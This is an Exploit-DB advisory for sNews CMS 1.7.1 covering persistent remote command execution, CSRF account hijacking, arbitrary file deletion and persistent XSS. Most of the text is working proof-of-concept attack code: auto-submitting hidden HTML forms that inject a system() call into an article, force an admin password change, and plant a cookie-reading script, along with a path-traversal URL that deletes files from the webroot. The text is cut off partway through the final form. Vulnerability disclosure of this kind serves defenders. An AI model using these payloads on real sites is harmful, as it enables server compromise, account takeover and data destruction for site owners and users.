Exploit-DB #39976
Description: sNews CMS 1.7.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-06-20
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/SNEWS-RCE-CSRF-XSS.txt

[+] ISR: APPARITIONSEC


Vendor:
============
snewscms.com


Product:
================
sNews CMS v1.7.1


Vulnerability Type:
===================================
Persistent Remote Command Execution
Cross Site Request Forgeries (CSRF)
Persistent XSS


CVE Reference:
==============
N/A


Vulnerability Details:
======================

If an authenticated user happens to stumble upon an attackers webpage or
click an infected link they have a chance to get the following prizes,

1) Persistent Remote Code Execution
2) Cross Site Request Forgeries
3) Persistent XSS


sNews has feature that allows PHP functions to be inserted for articles by
authenticated users under "Edit Article". However, there is no
CSRF token/checks to prevent unauthorized HTTP requests to be made on
behalf of that user. Furthermore, these commands will get stored in MySQL
database in the 'articles' table. So each time that sNews webpage is
visited it will execute.

e.g.

CSRF / RCE Under "Edit Article" Admin area.

[func]system:|:"calc.exe"[/func]

On line no 3270 of "snews.php" there is no input filtering allowing
arbitrary system calls.

$returned = call_user_func_array($func[0], explode(',',$func[1]));

////////////////////////////////////////////////////////////////////////////////////////////


CSRF / Hijack SNews CMS accounts, the username however must be known in
advance, if known then that lucky user wins a changed password!.


////////////////////////////////////////////////////////////////////////////////////////////


CSRF / arbitrary file deletion, we can delete arbitrary files in the
webroot which we can use to bypass access controls like ".htaccess" file.
allowing attackers to read/access files from those affected directories.

On line 3080 "snews.php" direct usage of untrusted user input into the PHP
"unlink" function which deletes any files the attacker wants.

if (isset($_GET['task']) == 'delete') {
$file_to_delete = $_GET['folder'].'/'.$_GET['file'];
@unlink($file_to_delete);
echo notification(0,'','snews_files');


///////////////////////////////////////////////////////////////////////////////////////////


Persistent XSS entry point also exists in same "Edit Article" Admin area,
but why bother when we have RCE option.


Exploit code(s):
===============

Remote Command Execution pop "calc.exe" POC.

<form id="CSRF_RCE_PRIZE" method="post" action="
http://localhost/snews1.7.1/?action=process&task=admin_article&id=2">
<input type="hidden" name="title" value="Remote Command Execution" />
<input type="hidden" name="seftitle" value="remote-command-execution" />
<input type="hidden" name="text" value='[func]system:|:"calc.exe"[/func]' />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="show_on_home" value="on" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="" />
<input type="hidden" name="keywords_meta" value="" />
<input type="hidden" name="description_meta" value="on" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="3" />
<input type="hidden" name="fposting_month" value="6" />
<input type="hidden" name="fposting_year" value="2016" />
<input type="hidden" name="fposting_hour" value="6" />
<input type="hidden" name="fposting_minute" value="16" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="save" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />
<script>document.getElementById('CSRF_RCE_PRIZE').submit()</script>
</form>


After we make HTTP request for the booby trapped article and KABOOM.

http://localhost/snews1.7.1/uncategorized/remote-command-execution/


CSRF - Account Hijack
=====================

<form id="CSRF-CHG-PASSWD-PRIZE" method="post" action="
http://localhost/snews1.7.1/?action=process&task=changeup">
<input type="hidden" name="uname" value="admin" />
<input type="hidden" name="pass1" value="PWN3D123" />
<input type="hidden" name="pass2" value='PWN3D123' />
<input type="hidden" name="task" value="changeup" />
<input type="hidden" name="submit_pass" value="Save" />
<script>document.getElementById('CSRF-CHG-PASSWD-PRIZE').submit()</script>
</form>


CSRF - Arbitrary File Deletion
===============================

1) Create file in htdocs / web root as a test e.g. "DELETEME.php"

2) Visit following URL as authenticated user.

http://localhost/snews1.7.1/?action=snews_files&task=delete&folder=Patches
Log&file=../../../DELETEME.php

3) Files gone!



Persistent XSS
===============

<form id="XSS" method="post" action="
http://localhost/snews1.7.1/?action=process&task=admin_article&id=2">
<input type="hidden" name="title" value="XSS" />
<input type="hidden" name="seftitle" value="XSS" />
<input type="hidden" name="text"
value="[include]<script>alert(document.cookie)</script>[/include]" />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="show_on_home" value="on" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="" />
<input type="hidden" name="keywords_meta" value="" />
<input type="hidden" name="description_meta" value="on" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="3" />
<input type="hidden" name="fposting_month" value="6" />
<input type="hidden" name="fpo